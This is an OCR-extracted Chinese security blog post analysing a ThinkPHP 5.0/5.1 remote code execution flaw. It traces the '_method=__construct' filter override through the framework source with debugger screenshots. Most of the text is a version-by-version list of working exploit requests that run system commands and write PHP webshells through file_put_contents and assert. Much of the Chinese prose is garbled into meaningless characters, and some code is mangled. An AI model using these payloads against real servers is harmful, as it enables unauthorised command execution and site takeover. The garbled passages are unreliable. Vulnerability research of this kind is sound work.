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1. ThinkPHP 5.0-5.0.24
2. ThinkPHP 5.1.0-5.1.30

EAREiAE SFRANARE, S¥payloadsyhsfh, Hp—payload EERURTFdebugifEli
EaNE AR R A A RY

5.1x:

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo() ;?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell. php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call user func array&vars[0]=system&vars[1][]=id

?s=index/thinkapp/invokefunction&function=call user func array&vars[0]=system&vars[1][]=id

50x:

?s=index/thinkconfig/get&name=database. username # FRHUACL B /E B
?s=index/thinkLang/load&file=.. /.. /test. jpg # AL AT RS
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?s=index/thinkConfig/load&file=../../t. php # B ST, php XX

?s=index/thinkapp/invokefunction&function=call user func array&vars[0]=system&vars[1][]=id

?s=index|thinkapp/invokefunction&function=call user func array&vars[0]=system&vars[1][0]=whoami

BB

http://php. local/thinkphp5. 0. 5/public/index. php?s=index

post

“method= construct&method=get&filter[]=call user func&get[]=phpinfo
“method= construct&filter[]=system&method=GET&get []=whoami

# ThinkPHP <= 5.0. 13
POST /?s=index/index

s=whoami& method= construct&method=&filter[]=system

# ThinkPHP <= 5.0.23. 5.1.0 <= 5.1. 16 FREIJIHELapp debug
POST /
“method= construct&filter[]=system&server [REQUEST METHOD]=1s -al

# ThinkPHP <= 5.0.23 FHEIFLExxxMImethod 1, #licaptcha
POST /?s=xxx HTTP/1.1
“method= construct&filter[]=system&method=get&get[]=1s+-al

“method= construct&filter[]=system&method=get&server [REQUEST METHOD]=1s

BJLAEZEpayload 3 AREFHEE, —FhREIRequestzEfInethodf]  constructFiRIEMEY, B—FHEEIRequestz
EFRAEN MR HE I R B ITaARE, BT TESRIMKRH, ARESEthinkphp5aI8 N MRAERUIE Tk
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TEIF3RYpayload,

thinkphp5 method{ESiAIAA £S5 rce

php5.4.45+phpstudy+thinkphp5.0.5+phpstorm+xdebug

sIZEINE
composer create—project topthink/think=5.0.5 thinkphp5.0.5 ——prefer—dist

HiXinelEse e 2 fF2RRIRATRZS.0.58Y, MRFAIEAZRHEcompsoer jsonEhIrequire=EREA

"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.5"
}s
SRIEIE{Tcompsoer update

iR 93t

thinkphp/library/think/Request. php:504 RequestZFERmethodFiE
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public function method($method = false) $method: false

{
if (true === $method} { S$method: false
VIR 3§ Y irE &,
return IS CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ?
$this->server[ 'REQUEST_METHOD'] : $ SERVER[ 'REQUEST_METHOD']); server: [0]
} elseif (!$this->method) {
if (isset($_POST[Config::get( name: 'var_method')])) [ FPUEFIE 4 nethod

$this->method = strtoupper($_ POST[Conflg get{ name: var_method')]);

& ®

--- $this->{$this->method) ($_POST);

} elseif (isset($ SERVER['HTTP_X_HTTP_METHOD_ OVERRIDE ]}} {
$this->method = strtoupper($ SERVER[ '"HTTP_X_HTTP_METHOD_OVERRIDE']);

} else {

FLUEBITPOSTEEIEN. methodAS$this—> ($this—>method} (§ POST) : IAZMEEE I EPHIE.

REEATERBXNEF_ contruct/3i&

protected function __ _construct($options = [])
{
foreach (%$options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;

}
if (is_null($this->filter)) {
$this->filter = Config::get('default filter');
}
// 1#4% php://input
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$this->input = file get contents('php://input’);

B foreachd, AJLABESSEM, BBARIITLUBEIEERequestZEAEM

protected function _ construct($options = []) Soption:

{
foreach ($options as $name => $item) { Soptions:
if (property exists($this, $name))

--- $this->$name = $item; $name:
}
}

X1 ter ARMRE A systen O 7, FEWBERNIE? FAIZFEER FthinkphpRIE T
thinkphp2EfEREALO, AO7Epublic/index.php, #Eindex.phpH

require DIR . ’/../thinkphp/start. php’ ;

SINHEZRRYstart. php, BRHZEEA T AppEAYEESrun O 7374
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p £ App.php £ Request.php e index.php ane Start.php
<?php

namespace think;

// ThinkPHP 43X ff

VIR ik 23 D

require __DIR _ . '/base.php';
/S AT

App::run()->send();

A Trun O BiEIENX

public static function run(Request $request = null)

{
/7 FREUN R EAE S
$dispatch = self::$dispatch;
if (empty($dispatch)) {
// FEATURLEE B Aol
$dispatch = self::routeCheck($request, $config);

}
/] ARG R

https://www.chabug.org/audit/1078.html

6/51


https://www.chabug.org/
https://www.chabug.org/wp-content/uploads/2019/11/20191127224263.jpg

2019/12/6

Thinkphp5 RCE %145 | ChaBug% 4

$request->dispatch($dispatch);

/7 RSB RIS R AE B
if (self::$debug) {

Log::record('[ ROUTE ] ' . var_export(%$dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export(%request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');

https://www.chabug.org/audit/1078.html

switch ($dispatch['type']) {

case 'redirect’':
// AT HE [ Bk
$data = Response::create($dispatch['url'], 'redirect')->code($dispatch[’'staf
break;
case 'module’:
/1 G/ A% PR AT
$data = self::module($dispatch[ 'module’'], $config, isset($dispatch['convert
break;
case 'controller':
/1 PATEE 2R AE
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action($dispatch['controller'], $vars, $config['url_control:
break;

case 'method’:
[/ HAT BRI IT %
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function':

7/51
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/] PATHAE
$data = self::invokeFunction($dispatch['function']);
break;

case 'response':
$data = $dispatch['response’'];
break;

default:
throw new InvalidArgumentException('dispatch type not support');

4 4

B E&id$dispatch = self::routeCheck ($request, $config) ICEEARIEH, ARSIREdebugAREFE
BHITRequest : rinstance ) —>param (), AGE— " switchiBF), $dispatchZFETFcontrollerBiZEmethodiIFTSHIITR
equest: :instance () >param(), REZFERIEEFAILUHENXFE N case 2,

TI7E ThinkPHP5 S22 hrAR, X TIIFABEIER bt ?s=captcha, BRINX/NTIERBEESdi spatch=method A\TIE
ARequest: :instance () —>param(),

A1k eEIRHRequest : :instance () —>param()
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public function param($name = "', $default = null, $filter = '")
{

if (empty($this->param)) {
$method = $this->method( method: true);
/) H ST R A
switch ($method) {
case 'POST':...
case 'PUT":
case 'DELETE":
case 'PATCH':...
default:...
}

A P o S e e Al Ll £of. fr fofs 5 3t A -
7/ 7 1K ZECRTUR LA 0 1 22 80 177

¢cenOF

$this->param = array merge($this->get( name: false), $vars, $this->route

name: false));

}
if (true === $name) {

VOREY ¢k B Wi = ok i

$file = $this->file();

$data = array merge($this->param, $file);

return $this->input($data, name: '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);

PITEFHSEFIMNEREE 2 fGreturn T — N input O J30%, BRH
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2019/12/6
= [1, $name =

public function input($data
{
if (false === $name) {...}
$name = (string) $name;
if (""" 1= $name) {...}

;g -
f / -'--',f:J Ve 4 “?_

if (isﬁ;ﬁlli$f11ter)) {...} else {...}

$filter[] = $default; $defau
if (is array($data)) {

$default = null, $filter = '")

$data, [$this, 'filtervalue'],

$filter);

-- array_walk_recursive(

reset( &array: $data);
} else {

tthic—sfiltarvalual R2ualiie $€data thama t¢filtar):

lnk * Request » input()

i
M

S -

Hles

i= $data = {array} [4]
81 s = "whoami"
81 method = " construct”
81 method = "GET"
3= filter = {array} [1]
o1 $default = null
$tilter = {array} [2]

ha=

o1 0 = "system”

B4 contructB =R ilter=RER[EIE i1 terValue (),

param, route, get, post, put, delete, patch, request, session,

terValue J3i%, MZAEPHMFEAFAER call user func BRZEY, IRiA

https://www.chabug.org/audit/1078.html

server, env, cookie,

EXNBEBAIEESRIXE T, FEJ9 Request 285AY
input FAISTERAT fil

10/51


https://www.chabug.org/
https://www.chabug.org/wp-content/uploads/2019/11/20191127229199.jpg

2019/12/6 Thinkphp5 RCE .45 | ChaBug i 4:
private function filterValue(&$value, $key, $filters) $value: "whoami

{

$default = array pop( &array: $filters);
foreach ($filters as $filter) { $rilters: {"system"}[1] $filter: "s
if (15 callable($f11ter)) {

FET T oF . -
DA R 2 2 7y 72

--- $value = calI_user_func[$filter, $value);
} elseif (is scalar($value)) {
if (strpos($filter, needle: '/')) {...} elseif (lempty($filter
// TiltermidrAreatitl. Witdiifilter varvfridiué

\think * Request @ filterValue()

X 3t vy H @

11|
]

riables

o1 $default = null

61 $filter = “system”
:= $filters = {array} [1]

]

o1 $key = "s"

8l $value = "whoami”

call user funcy@fEsystemi&Epgrece,

BIE—T: $this—>methodA[FE=ESEETLAER  contruct () BEERequestzsfYfilter=ER, ZAIFApp:run(HiT#Hrdebug
FREESHTSrequest—param (), FHEIAB$dispatchl’ type’ ] ZFFcontrollergyd method BftHEESH{T$request
—>param (), M$request—>param () SHANE)input O F37%, XN ERIGHESAIfi 1 ter[@Fcall user func(),

1ERkrce,

REERATAXIMERN—KREE
- |
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method($method =

if | === $method) {
} elseif (! ->method) {
if (isset($_POST[Config::get('var_method')])) {
->method = strtoupper($_POST[Config::get('var_method')]);
->{ ->method} ($_POST);

} AEMEEF M Request
return ->method; REyEnhE&

__construct($options = [])

foreach ($options as $name => $item) {
1T (property_exists( , $name)) {
->$name = $item;

filterValue(&$value, $key, $filters)

$default = array_pop($filters); &a LABSHREL, #

foreach ($filters as $filter) { fEcall_user_funcE
if (is_callable($filter)) {

$value = call user_func($filter, $value);
elseif (is_scalar($value)) {

¥
¥

:'etu"w ->filterExp($value);

https://www.chabug.org/audit/1078.html
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method _ contructSEfIrce Fhf4 payload
— PN MNMRAE, MHEIIEmSHIT. Sshell, debugifEIn
5.0

debug 5%

wmeHT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]l=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

Bshell

POST
s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

5.0.1

debug Fo%

amLHIT

POST ?s=index/index
s=whoami& method= construct&method=POST&filter[]=system
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aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

Bshell

POST
s=file put contents( Y4er.php ,’ <?php phpinfo();’ )& method=

5.0.2
debug o
aHUT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method=_construct&method=GET&filter[]=system&get []=whoami

Bshell

POST
s=file put contents( Y4er.php ,’ <?php phpinfo();’ )& method=

5.0.3

https://www.chabug.org/audit/1078.html

~ construct&method=POST&filter[]=assert

~construct&method=POST&filter[]=assert
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debug X

T

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

Bshell

POST
s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

5.04

debug Iox
LHUT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

Bshell

POST
s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert
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5.0.5

debug Fox

T

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

Hshell

POST
s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

5.0.6

debug ok

LT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

Bshell
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POST
s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

5.0.7

debug X
LHUT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

BHshell

POST
s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

5.0.8

debug ok

amLHIT

POST ?s=index/index
s=whoami& method= construct&method=POST&filter[]=system

aaaa=whoami& method= construct&method=GET&filter[]=system
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“method= construct&method=GET&filter[]=system&get[]=whoami

c=system&f=calc& method=filter

Bshell

POST
s=file put contents( Y4er.php ,’ <?php phpinfo();’ )& method=

5.0.9

debug o

T

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method=_construct&method=GET&filter[]=system&get []=whoami

c=system&f=calc& method=filter

Bshell

POST
s=file put contents( Y4er.php ,’ <?php phpinfo();’ )& method=

5.0.10

https://www.chabug.org/audit/1078.html

~ construct&method=POST&filter[]=assert

~_construct&method=POST&filter[]=assert
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M5.0.10FF8REk A debug=false, debugFck

aHUT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

c=system&f=calc& method=filter

Bshell

POST
s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

5.0.11

ZfiAdebug=false, debugF*

mLHIT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc& method=filter

Hshell
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POST
s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

5.0.12

Zlildebug=false, debugFck

T

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get []=whoami

c=system&f=calc& method=filter

Bshell

POST
s=file put contents( Y4er.php',’ <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

5.0.13

Zlildebug=false, TEFFdebug

T

POST ?s=index/index
s=whoami& method= construct&method=POST&filter[]=system
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aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc& method=filter

Bshell

POST
s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

RRAFIDEBUGIEIAAIXER
5.0.13RAZEEEHiSdebugdgerce, JHA? ELER—T5.0.13F05.0.5ARANAICAD

https://github.com/top-think/framework/compare/v5.0.5...v5.0.13#diff-d86cf2606459bf4da21b7c3a1f7191f3

o2 T —Nexec A switch ($dispatch type’ 1) EHIF T, IAGFEcase moduled T T module (), fEmodule
O 2T HIT.

// wEBINE IENLEI
$request—>filter ($configl’ default filter’]);

SRR HEX, BIFEI] LSS H75.0.5, EMApp: :run O iR E—RI0EENIAfilter(I&: thinkphp/library/think/
App. php

$request—>filter ($configl default filter ]):

ABEENRHERALERI, Bikdefault filter@ATFRER, MURBRERHNT $this>filter = $filterSHsys
tem{BEZ NS,

https://www.chabug.org/audit/1078.html
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public function filter($filter = null){
if (is_null($filter)) {
return $this->filter;
} else {
$this->filter = $filter;

ETERMERIIHENTBREcheck, MBI terBHE Msystem

https://www.chabug.org/audit/1078.html
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E Ele Edit View Navigate Code Refactor Run Tools VCS Window Help thinkphp5.0.13 [E)\code\php\thinkphp\thinkphp5.0.13] - .. \thinkphp\library\think\Request.php - PhpStorm — b4
thinkphp5.0.13 | 1 thinkphp | 1 library | B think * @ Request.php & PHPSTORM ~ #0 UmEQ
T_; Project « B = & — :configphp & Requestphp & Route.php & App.php i think {} compaserjson =
g thinkphp5.0.13 Ei\code\php\thinkphp\thinkphps.0d| 291 ~ pUBLIC tunction method($method = talse) spmethod: false g
;' application { %’
extend
public if (true === $method) { $method: false
runtime 5 S, IR R
inkehe return IS CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ?_
& gitignore $this->server[ 'REQUEST_METHOD'] : $ SERVER['REQUEST_METHOD']); server: [0]
"ff,rf.‘ﬂsfil 506 } elseif (!$this->method) {
structure_PHP ZTI% - 597 if (isset($_POST[Config::get( name: 'var_method')])) {
ol fGFm: | _REl K 508 $this->method = strtoupper($ POST[Config::get
isGet0: boo =

ieHead(: boo! ( name: 'var_method')]);

isMobile(: bool 509 [ | | | $this->{$this->method}($_POST);

m
m
m
m w isOptions(: bool
m
m
m
m

510 1 elseif (isset($ SERVER['HTTP_X_HTTP_METHOD_ OVERRIDE ])) {
5] $this->method = strtoupper

isPatch(): bool
isPjax([pjax: boaol = false]): bool

& Composer: Praject was successfully created by Compaoser. // Show in log (today 11:32)

isPost(): boel fd ~rroaral LT TA W LITTR METIIAR AUIEARTACD TN
& isPut(): boaol \think * Request ! method()
Debug:  flg PHPSTORM o —
(3 | Debugger Ell Console Output = &~ 2ty H e E S =
» Frames Variables
L+ @1 $method = false
ﬁ Request.php:509, think|Request-=method(] & : cilis = Lthmk?Request; 123
o Il Route.php:848, think|Route:check() 1= $_COOKIE = {array) [2]
) ‘ } = {array)
& ®' |5 App.php:632, think|App:routeCheck() . $_POST = {array} [4]
* % 0 App.php:116, think|App:run() = ? § REQUEST = -,arréy: o
o [0 start.php:19, require() = X’C E‘SETVE:{ = {array) 1471
g - Il index.php:17, fmaini() oo onstants
3
& *
=1
B Termina 5 Debug = 6:TODO Event Log
B Terminal el = Q
509:1 LF UTF-8 4spaces m &

{BE7E5.0.135, iHEFRAYexec ) FfImodule () FiEthinkphp/library/think/App. php: 544 SEFHIT—/R$request

—>filter ($config[’ default filter’ ]): IBFAIBEZFNsystenBFZ AT, SEEM,

P 4T T debugiiT LArce?
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if (self::$debug) {

Log:: record( msg: '[ ROUTE ] '

return: true), type: "info');

Log::record( msg: '[ HEADER ] '

(), return: true), type: "info');

Log::record( msg: '[ PARAM ] '

return: true), type: 'info');

// 4y app_begin

Thinkphp5 RCE &4 | ChaBug %4
var_export($dispatch,

var_export($request->header

var_export(fprequest->param(),

Hook::listen( tag: 'app_begin', &params: $dispatch);

N Iy L
YA =S =.<i"f{-“'f---.‘} =

$request->cache(

$config[ 'request_cache'],
$config[ 'request_cache_expire'],
$config[ 'request_cache_except']

)

$data = self::exec($dispatch, $config);

} catch (HttpResponseException $exception) {

XEBLSHERSrequest—>param (), SAGTEH I {Tself: texec (§dispatch, $config), 1&ERkrce,

BERBHIDEAFFdebugHigrcelfe?

FdebughIRE—H, switchRIRHEFHF Amodule P&t ER, AFHNEIEAID .,
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switch ($dispatch['type']) {
case 'redirect':...
case 'module':|...
case 'controller': // #irfeimlaitier
$vars = array_mergeﬂRequest::instance()—>param()l
$dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config[ 'url_controller_layer'],
$config[ 'controller_suffix']

)i
break;
case 'method': // [ ik
$vars = array _merge[Request::instance()->param()
$dispatch['var']);
$data = self::invokeMethod($dispatch[ 'method'], $vars);
break;
case 'function': // /1y
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response sLfif

fEthinkphp57eEhRFE MIFIHE 7T — M IIERSRIERH, FTLUBIT XM SBfRAce
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XM ERES.0.13 M H3kAYpayload “topthink/think—captcha”:

POST ?s=captcha/calc

“method= construct&filter[]=system&method=GET

FefiI4reL

5.0.13%M7E

*h7e
Bcaptchal§HRTToFEdebug=true

POST ?s=captcha/calc

“method= construct&filter[]=system&method=GET

5.0.14

Zlildebug=false, TEF/Fdebug

T

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]l=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

c=system&f=calc& method=filter

https://www.chabug.org/audit/1078.html
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Bshell

POST
s=file put contents( Y4er.php ,’ <?php phpinfo();’ )& method=

Bcaptchal§HATFEdebug=true

POST ?s=captcha/calc
“method= construct&filter[]=system&method=GET

5.0.15

Zlildebug=false, TEFFdebug

T

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

c=system&f=calc& method=filter

Bshell

POST
s=file put contents( Y4er.php ,’ <?php phpinfo();’ )& method=

Bcaptchai& R FTSFEdebug=true

https://www.chabug.org/audit/1078.html
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POST ?s=captcha/calc

“method= construct&filter[]=system&method=GET

5.0.16
Zlildebug=false, TEF/Fdebug
AnSHIT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

c=system&f=calc& method=filter

Bshell

POST
s=file put contents( Y4er.php',’ <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

Bcaptchalg§HAT TR debug=true

POST ?s=captcha/calc
“method= construct&filter[]=system&method=GET

5.0.17
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Zlildebug=false, TEFFdebug

aHUT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

c=system&f=calc& method=filter

Bshell

POST
s=file put contents( Y4er.php ,’ <?php phpinfo();’ )& method=

Bcaptchai& R FTSFEdebug=true

POST ?s=captcha/calc
“method= construct&filter[]=system&method=GET

5.0.18

ZRihdebug=false, FTEFFfFdebug

amLHT

POST ?s=index/index
s=whoami& method= construct&method=POST&filter[]=system

aaaa=whoami& method= construct&method=GET&filter[]=system
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“method= construct&method=GET&filter[]=system&get[]=whoami

c=system&f=calc& method=filter

Bshell

POST

s=file put contents( Y4er.php',’ <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

Bcaptchal&HATF TR debug=true

POST ?s=captcha/calc
“method= construct&filter[]=system&method=GET

5.0.19

2lildebug=false, TEEFfFdebug

mLHIT

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method= construct&method=GET&filter[]=system&get[]=whoami

c=system&f=calc& method=filter

Bshell
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POST

s=file put contents( Y4er.php', <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

Bcaptchal§HTFEdebug=true

POST ?s=captcha/calc

“method= construct&filter[]=system&method=GET

5.0.20

Zlildebug=false, TEEFFdebug

T

POST ?s=index/index

s=whoami& method= construct&method=POST&filter[]l=system
aaaa=whoami& method= construct&method=GET&filter[]=system
“method=_ construct&method=GET&filter[]=system&get[]=whoami

c=system&f=calc& method=filter

Bshell

POST

s=file put contents( Y4er.php',’ <?php phpinfo();’ )& method= construct&method=POST&filter[]=assert

Bcaptchai&HRT 7 debug=true
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POST ?s=captcha/calc
“method= construct&filter[]=system&method=GET

5.0.21
Zlildebug=false, TEF/Fdebug
AnSHIT

POST ?s=index/index
“method= construct&filter[]=system&server [REQUEST METHOD]=calc

Bshell

POST
“method= construct&filter[]=assert&server [REQUEST METHOD]=file put contents( Y4er.php', <?php phpinfo
0:")

Bcaptchal§HATFEdebug=true

POST ?s=captcha/calc

“method= construct&filter[]=system&method=GET

POST ?s=captcha

“method= construct&filter[]=system&server [REQUEST METHOD]=calc&method=get

5.0.22
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Zlildebug=false, TEFFdebug

aHUT

POST ?s=index/index
“method= construct&filter[]=system&server [REQUEST METHOD]=calc

Bshell

POST

“method= construct&filter[]=assert&server [REQUEST METHOD]=file put contents( Y4er.php', <?php phpinfo
0:")

Bcaptcha&HRT o FEdebug=true

POST ?s=captcha/calc

“method=_ construct&filter[]=system&method=GET

POST ?s=captcha

“method= construct&filter[]=system&server [REQUEST METHOD]=calc&method=get

5.0.23

ZRihdebug=false, FTEFFfFdebug

amLHIT

POST ?s=index/index
“method= construct&filter[]=system&server [REQUEST METHOD]=calc
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Bshell

POST
“method= construct&filter[]=assert&server [REQUEST METHOD]=file put contents(’ Yder.php’, <?php phpinfo
0;7)

Bcaptchai&HRT 7 debug=true

POST ?s=captcha/calc

“method= construct&filter[]=system&method=GET

POST ?s=captcha

“method= construct&filter[]=system&server [REQUEST METHOD]=calc&method=get

5.0.24

TER5. 0 BIRE—TRA, rcefiIEE

5.1.0
2XiAdebugAtrue
aSHAT

POST ?s=index/index
“method= construct&filter[]=system&method=GET&s=calc

Bshell
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POST
s=file put contents( Y4er.php ,’ <?php phpinfo();’ )& method=

Bcaptchaf§HATFEdebug=true
“topthink/think-captcha”: ”2.%”

POST ?s=captcha/calc
“method= construct&filter[]=system&method=GET
POST ?s=captcha

“method= construct&filter[]=system&s=calc&method=get

POST ?s=index/index
“method=_ construct&filter[]=system&method=GET&s=calc

Bshell

POST
s=file put contents( Y4er.php ,’ <?php phpinfo();’ )& method=

Bcaptchal§HATFEdebug=true

POST ?s=captcha/calc
“method= construct&filter[]=system&method=GET
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POST ?s=captcha

“method= construct&filter[]=system&s=calc&method=get

Eit, FE—M—MRFNT, EEIED.
EHTF  constructiYpayload KEB5 HHIIAES. 0. xR ARIRAAIS. 1.xH, Mo HrE—Frce,

FHREHIEEEHSHrce
XFfrcefpayloadZHZ4N

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo() ;?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell. php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call user func array&vars[0]=system&vars[1][]=id

?s=index/thinkapp/invokefunction&function=call user func array&vars[0]=system&vars[1][]=id

IR

"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.29",
"topthink/think-captcha": "2.*"
}s

ol
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sue APR-PHE € App.php € Index.php

il 78 // | URLEE

79 S+
80
81 // PATHINFO#&# M 1A
82 'var_pathinfo' => 's",
83 /S HEZEPATH_INFOFEIK
84 'pathinfo_fetch' => ["ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIREC
85 // pathinfoZ}hGHs
86 'pathinfo_depr' = '/",
87 /7 HTTPSCFEERTH
88 "https_agent_name' S
89 /7 IPfCEESER pril
20 "http_agent_ip' => "X-REAL-IP',
91 /7 URLUGHF& T4
92 'url_html_suffix' => "html',
93 /7 URLZ i 0 Z4 M T H 04k
94 'url_common_param’ => false,
95 /) URLZE A 0 #HHEIEXREST 1 N REDT
26 'url_param_type' => 0,
97 /S AR AT R R RE T
98 'url_lazy_route’ => false,
99 VO =iy il di

100 url_route_must"’ => false,

thinkphpBUNIRBFEEHIEREH, TMEEIATFTEREFRERN. BATNTLIRFRESEIKERESES, SikEaxE
HlEsidient, BAITLUBRESRGERRNT. L GREIFFERPSEEISEI Request SKAY input J5ELNE, 1273
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ESVEH filterValue J5i%, M filterValue FiEPERAT call user func , BPARNIFME=AAMBIXNAE. 16
5]

http://php. local/thinkphp5. 1. 30/public/?s=index/thinkRequest/input&filter[]=system&data=whoami

FTWrERiHZthinkphp/library/think/App. php: 402

E File Edit View Mavigate Code Refactor Run Tools VCS Window Help thinkphp5.1.30 [E)\code\php\thinkphp\think php5.1.30] - .. \thinkphp\libranthink\App.php - PhpStorm = b4
thinkphp5.1.30 thinkphp library think ' € App.php Filg PHPSTORM ~ =3 2w B Q
i Project D T | & — | &app.php € App.php © Url.php © Loader.php €) Dispatch.php € Module.php € Container.php € Request.php =
) —— e =
= thinkphp5.1.30 Ei\code\phpithi . . ' . ' =
& > mappicetion $this->hook->listen( tag: 'app_dispatch'); 60060 E
config 397
extend . ; A . o ; . . ; . . L
public 39 $dispatch = $this->dispatch; dispatch: null $dispatch: {controller => "\thii
route 399
runtime : 2
hinkphe 400 if (empty($dispatch)) {
vendor 401 /"_’/" < g 7 =
.gitignore . = " . -
°tmisym| 402 & $dispatch this->routeCheck()->init();
- -
b build.php 403 }
2 CHANGELOG.md o
. 404
{ycomposerjson
1y composer.lock 405
= LICENSE.txt P
400
2% README.md
2N think 407
Il External Libraries 408
© Scratches and Consoles o vthink > App » run
Debug:  fls PHPSTORM o -
(5 | Debugger Ell Console Output =E it ity EHE@IEZ =
|y Frames Variables
4 |+ $dispatch = {think\route\dispatch\Module} [
_ﬁ u App.php:406, think|App-=run(] . ccrlltro”Er - “\ﬂl_"nk\reques':“
-g- 1Bl index.php:21, fmaini() @1 actionName = "input’
E @ := dispatch = {array} [3]
59 H param = [array} [0]
* % 3 = {array
o1 cade = null
g -4 o 81 convert = null
g » $this = {think\App} [20]
a 1= § COOKIE = {arrzy) [2]
o 1= $_GET = {array} [2]
B Terminal =~ # 5:Debug = & TODO ) Event Log
|2 IDE and Plugin Updates: PhpStorm is ready to update. (25 minutes ago) 618:1 LF UTF-8 dspaces m

routeCheck ()iR[A]$dispatch2lE / BB | Eia

https://www.chabug.org/audit/1078.html 38/51


https://www.chabug.org/
https://www.chabug.org/wp-content/uploads/2019/11/20191127223178.jpg

Thinkphp5 RCE %145 | ChaBug% 4

2019/12/6
E File Edit View Mavigate Code Refactor Run Tools VCS Window Help thinkphp5.1.30 [E)\code\php\thinkphp\think php5.1.30] - .. \thinkphp\library\think\App.php - PhpStorm = b4
thinkphp5.1.30 thinkphp library think « @ App.php #s PHPSTORM ~ =3 Am B Q
b Project + (%] € App.php © Url.php © Loader.php €| Dispatch.php € Module.php € Container.php € Route.php € Request.php =
= e —— T o
= hd thinkphp5.1.30 £ . ) =
Z 5 o applcation $this->cache->tag( name: 'route_cache')->set($routeKey, $dispatch); =
[ ] = - w
> config } *
» extend )
> Bmpubli } catch (\Exception $e) {
> mmroue /1 TR R TR
> runtime
> B thinkph 61 }
inkphp
> vendor 616 }
@.glllg?nore 617
e -travisyml -
i build.php 618
& CHANGELOG.md 619
1) compaoser,json o
7 composer.lock 620
= LICENSE.ixt 621 /.'**
22 README.md ’ _ _
i think 6 * [EE MR
? lliExernal Libraries 623 * @access public
0 Scratches and Consoles \think > App * routeCheck()
Debug:  fls PHPSTORM o -
(5 | Debugger EllConsole Output E o+t w H@IEES =
» Frames Variables
b+ $dispatch = {think\route\dispatch\Url} [4]
ﬁ 0 App.phpi618, think|App->routeCheck] . dispatch ||1ex|\th|nk\Request||nput"
